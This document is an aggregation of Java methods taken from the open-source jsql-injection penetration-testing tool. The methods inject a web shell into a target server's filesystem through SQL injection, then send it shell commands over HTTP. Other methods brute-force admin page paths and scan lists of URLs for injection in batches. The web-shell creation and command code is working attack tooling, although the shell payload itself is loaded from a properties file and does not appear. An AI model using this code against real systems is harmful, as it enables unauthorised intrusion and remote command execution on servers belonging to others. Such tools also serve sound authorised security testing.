use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.
the class RessourceAccess method runCommandShell.
/**
* @param urlCommand
* @return
* @throws IOException
*/
private static String runCommandShell(String urlCommand) throws IOException {
HttpURLConnection connection;
String url = urlCommand;
connection = (HttpURLConnection) new URL(url).openConnection();
connection.setReadTimeout(ConnectionUtil.getTimeout());
connection.setConnectTimeout(ConnectionUtil.getTimeout());
String pageSource = null;
try {
pageSource = ConnectionUtil.getSource(connection);
} catch (Exception e) {
pageSource = "";
}
Matcher regexSearch = Pattern.compile("(?s)<" + DataAccess.LEAD + ">(.*)<" + DataAccess.TRAIL + ">").matcher(pageSource);
regexSearch.find();
String result;
// IllegalStateException #1544: catch incorrect execution
try {
result = regexSearch.group(1);
} catch (IllegalStateException e) {
// Fix return null from regex
result = "";
LOGGER.warn("Incorrect response from Web shell", e);
}
Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
msgHeader.put(Header.URL, url);
msgHeader.put(Header.POST, "");
msgHeader.put(Header.HEADER, "");
msgHeader.put(Header.RESPONSE, HeaderUtil.getHttpHeaders(connection));
msgHeader.put(Header.SOURCE, pageSource);
Request request = new Request();
request.setMessage(Interaction.MESSAGE_HEADER);
request.setParameters(msgHeader);
MediatorModel.model().sendToViews(request);
// TODO optional
return result;
}
use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.
the class RessourceAccess method createAdminPages.
/**
* Check if every page in the list responds 200 Success.
* @param urlInjection
* @param pageNames List of admin pages ot test
* @throws InterruptedException
*/
public static void createAdminPages(String urlInjection, List<ItemList> pageNames) throws InterruptedException {
String urlWithoutProtocol = urlInjection.replaceAll("^https?://[^/]*", "");
String urlProtocol = urlInjection.replace(urlWithoutProtocol, "");
String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "");
List<String> directoryNames = new ArrayList<>();
if (urlWithoutFileName.split("/").length == 0) {
directoryNames.add("/");
}
for (String directoryName : urlWithoutFileName.split("/")) {
directoryNames.add(directoryName + "/");
}
ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableGetAdminPage"));
CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
StringBuilder urlPart = new StringBuilder();
for (String segment : directoryNames) {
urlPart.append(segment);
for (ItemList pageName : pageNames) {
taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + pageName.toString()));
}
}
int nbAdminPagesFound = 0;
int submittedTasks = directoryNames.size() * pageNames.size();
int tasksHandled;
for (tasksHandled = 0; tasksHandled < submittedTasks && !RessourceAccess.isSearchAdminStopped; tasksHandled++) {
try {
CallableHttpHead currentCallable = taskCompletionService.take().get();
if (currentCallable.isHttpResponseOk()) {
Request request = new Request();
request.setMessage(Interaction.CREATE_ADMIN_PAGE_TAB);
request.setParameters(currentCallable.getUrl());
MediatorModel.model().sendToViews(request);
nbAdminPagesFound++;
LOGGER.debug("Found admin page: " + currentCallable.getUrl());
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while checking Admin pages", e);
}
}
taskExecutor.shutdown();
taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
RessourceAccess.isSearchAdminStopped = false;
String result = "Found " + nbAdminPagesFound + " admin page" + (nbAdminPagesFound > 1 ? 's' : "") + " " + (tasksHandled != submittedTasks ? "of " + tasksHandled + " processed " : "") + "on " + submittedTasks + " pages checked";
if (nbAdminPagesFound > 0) {
LOGGER.debug(result);
} else {
LOGGER.warn(result);
}
Request request = new Request();
request.setMessage(Interaction.END_ADMIN_SEARCH);
MediatorModel.model().sendToViews(request);
}
use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.
the class RessourceAccess method runWebShell.
/**
* Run a shell command on host.
* @param command The command to execute
* @param uuidShell An unique identifier for terminal
* @param urlShell Web path of the shell
*/
public static void runWebShell(String command, UUID uuidShell, String urlShell) {
String result = "";
try {
result = runCommandShell(urlShell + "?c=" + URLEncoder.encode(command.trim(), "ISO-8859-1"));
if ("".equals(result)) {
result = "No result.\nTry \"" + command.trim() + " 2>&1\" to get a system error message.\n";
}
} catch (UnsupportedEncodingException e) {
LOGGER.warn("Encoding command to ISO-8859-1 failed: " + e.getMessage(), e);
} catch (IOException e) {
LOGGER.warn("Shell execution error: " + e.getMessage(), e);
} finally {
// Unfroze interface
Request request = new Request();
request.setMessage(Interaction.GET_WEB_SHELL_RESULT);
request.setParameters(uuidShell, result);
MediatorModel.model().sendToViews(request);
}
}
use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.
the class RessourceAccess method createWebShell.
/**
* Create a webshell in the server.
* @param pathShell Remote path othe file
* @param url
* @throws InterruptedException
* @throws InjectionFailureException
* @throws StoppedByUserSlidingException
*/
public static void createWebShell(String pathShell, String urlShell) throws JSqlException, InterruptedException {
if (!RessourceAccess.isReadingAllowed()) {
return;
}
String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.web").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD).replace(DataAccess.TRAIL_IN_SHELL, DataAccess.TRAIL);
String pathShellFixed = pathShell;
if (!pathShellFixed.matches(".*/$")) {
pathShellFixed += "/";
}
MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile(sourceShellToInject, pathShellFixed + FILENAME_WEBSHELL));
String resultInjection;
String[] sourcePage = { "" };
try {
resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_WEBSHELL), sourcePage, false, 1, null);
if ("".equals(resultInjection)) {
throw new JSqlException("payload integrity verification: Empty payload");
}
} catch (JSqlException e) {
throw new JSqlException("injected payload does not match source", e);
}
if (!urlShell.isEmpty()) {
urlShell = urlShell.replaceAll("/*$", "") + "/";
}
String url = urlShell;
if ("".equals(url)) {
url = ConnectionUtil.getUrlBase();
}
if (resultInjection.indexOf(sourceShellToInject) > -1) {
LOGGER.debug("Web payload created into \"" + pathShellFixed + FILENAME_WEBSHELL + "\"");
//
String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", "");
String urlProtocol;
if ("/".equals(urlWithoutProtocol)) {
urlProtocol = url.replaceAll("/+$", "");
} else {
urlProtocol = url.replace(urlWithoutProtocol, "");
}
String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "").replaceAll("/+", "/");
List<String> directoryNames = new ArrayList<>();
if (urlWithoutFileName.split("/").length == 0) {
directoryNames.add("/");
}
for (String directoryName : urlWithoutFileName.split("/")) {
directoryNames.add(directoryName + "/");
}
ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableCreateWebShell"));
CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
StringBuilder urlPart = new StringBuilder();
for (String segment : directoryNames) {
urlPart.append(segment);
taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + FILENAME_WEBSHELL));
}
int submittedTasks = directoryNames.size() * 1;
int tasksHandled;
String urlSuccess = null;
for (tasksHandled = 0; tasksHandled < submittedTasks; tasksHandled++) {
try {
CallableHttpHead currentCallable = taskCompletionService.take().get();
if (currentCallable.isHttpResponseOk()) {
urlSuccess = currentCallable.getUrl();
if (!urlShell.isEmpty() && urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlShell) || urlSuccess.replace(FILENAME_WEBSHELL, "").equals(urlProtocol + urlWithoutFileName)) {
LOGGER.debug("Connection to payload found at expected location \"" + urlSuccess + "\"");
} else {
LOGGER.debug("Connection to payload found at unexpected location \"" + urlSuccess + "\"");
}
} else {
LOGGER.trace("Connection to payload not found at \"" + currentCallable.getUrl() + "\"");
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while checking Web shell", e);
}
}
taskExecutor.shutdown();
taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
if (urlSuccess != null) {
Request request = new Request();
request.setMessage(Interaction.CREATE_SHELL_TAB);
request.setParameters(pathShellFixed.replace(FILENAME_WEBSHELL, ""), urlSuccess);
MediatorModel.model().sendToViews(request);
} else {
LOGGER.warn("HTTP connection to Web payload not found");
}
} else {
throw new JSqlException("Incorrect Web payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
}
}
use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.
the class RessourceAccess method scanList.
/**
* Start fast scan of URLs in sequence and display result.
* Unplug any existing view and plug a console-like view in order to
* respond appropriately to GUI message with simple text result instead of
* build complex graphical components during the multi website injections.
* At the end of the scan it plugs again the normal view.
* @param urlList contains a list of String URL
*/
public static void scanList(List<ItemList> urlList) {
// Erase everything in the view from a previous injection
Request requests = new Request();
requests.setMessage(Interaction.RESET_INTERFACE);
MediatorModel.model().sendToViews(requests);
// wait for ending of ongoing interaction between two injections
try {
Thread.sleep(500);
} catch (InterruptedException e) {
LOGGER.error("Interruption while sleeping during scan", e);
Thread.currentThread().interrupt();
}
// Display result only in console
MediatorModel.model().deleteObservers();
MediatorModel.model().addObserver(new ScanListTerminal());
MediatorModel.model().setIsScanning(true);
RessourceAccess.isScanStopped = false;
for (ItemList url : urlList) {
ItemListScan urlurl = (ItemListScan) url;
if (MediatorModel.model().isStoppedByUser() || RessourceAccess.isScanStopped) {
break;
}
LOGGER.info("Scanning " + urlurl.getBeanInjection().getUrl());
MediatorModel.model().controlInput(urlurl.getBeanInjection().getUrl(), urlurl.getBeanInjection().getRequest(), urlurl.getBeanInjection().getHeader(), urlurl.getBeanInjection().getInjectionTypeAsEnum(), urlurl.getBeanInjection().getRequestType(), true);
try {
Thread.sleep(500);
} catch (InterruptedException e) {
LOGGER.error("Interruption while sleeping between two scans", e);
Thread.currentThread().interrupt();
}
}
// Get back the normal view
// TODO Don't play with View on Model
MediatorModel.model().addObserver(MediatorGui.frame().getObserver());
MediatorModel.model().setIsScanning(false);
MediatorModel.model().setIsStoppedByUser(false);
RessourceAccess.isScanStopped = false;
Request request = new Request();
request.setMessage(Interaction.END_SCAN);
MediatorModel.model().sendToViews(request);
}
Aggregations